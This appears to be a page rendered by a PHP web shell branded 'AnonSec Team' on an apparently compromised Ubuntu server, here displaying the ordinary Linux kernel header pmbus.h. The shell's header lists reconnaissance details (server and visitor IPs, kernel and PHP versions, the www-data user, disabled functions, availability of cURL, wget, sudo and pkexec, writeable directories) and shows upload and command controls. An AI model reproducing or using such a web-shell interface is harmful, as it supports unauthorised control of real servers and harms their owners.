NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.172
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/src/linux-headers-5.15.0-153/include/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/src/linux-headers-5.15.0-153/include/linux/pmbus.h
/* SPDX-License-Identifier: GPL-2.0-or-later */
/*
 * Hardware monitoring driver for PMBus devices
 *
 * Copyright (c) 2010, 2011 Ericsson AB.
 */

#ifndef _PMBUS_H_
#define _PMBUS_H_

#include <linux/bits.h>

/* flags */

/*
 * PMBUS_SKIP_STATUS_CHECK
 *
 * During register detection, skip checking the status register for
 * communication or command errors.
 *
 * Some PMBus chips respond with valid data when trying to read an unsupported
 * register. For such chips, checking the status register is mandatory when
 * trying to determine if a chip register exists or not.
 * Other PMBus chips don't support the STATUS_CML register, or report
 * communication errors for no explicable reason. For such chips, checking
 * the status register must be disabled.
 */
#define PMBUS_SKIP_STATUS_CHECK	BIT(0)

/*
 * PMBUS_WRITE_PROTECTED
 * Set if the chip is write protected and write protection is not determined
 * by the standard WRITE_PROTECT command.
 */
#define PMBUS_WRITE_PROTECTED	BIT(1)

/*
 * PMBUS_NO_CAPABILITY
 *
 * Some PMBus chips don't respond with valid data when reading the CAPABILITY
 * register. For such chips, this flag should be set so that the PMBus core
 * driver doesn't use CAPABILITY to determine it's behavior.
 */
#define PMBUS_NO_CAPABILITY			BIT(2)

/*
 * PMBUS_READ_STATUS_AFTER_FAILED_CHECK
 *
 * Some PMBus chips end up in an undefined state when trying to read an
 * unsupported register. For such chips, it is necessary to reset the
 * chip pmbus controller to a known state after a failed register check.
 * This can be done by reading a known register. By setting this flag the
 * driver will try to read the STATUS register after each failed
 * register check. This read may fail, but it will put the chip in a
 * known state.
 */
#define PMBUS_READ_STATUS_AFTER_FAILED_CHECK	BIT(3)

/*
 * PMBUS_NO_WRITE_PROTECT
 *
 * Some PMBus chips respond with invalid data when reading the WRITE_PROTECT
 * register. For such chips, this flag should be set so that the PMBus core
 * driver doesn't use the WRITE_PROTECT command to determine its behavior.
 */
#define PMBUS_NO_WRITE_PROTECT			BIT(4)

/*
 * PMBUS_USE_COEFFICIENTS_CMD
 *
 * When this flag is set the PMBus core driver will use the COEFFICIENTS
 * register to initialize the coefficients for the direct mode format.
 */
#define PMBUS_USE_COEFFICIENTS_CMD		BIT(5)

struct pmbus_platform_data {
	u32 flags;		/* Device specific flags */

	/* regulator support */
	int num_regulators;
	struct regulator_init_data *reg_init_data;
};

#endif /* _PMBUS_H_ */

Anon7 - 2022
AnonSec Team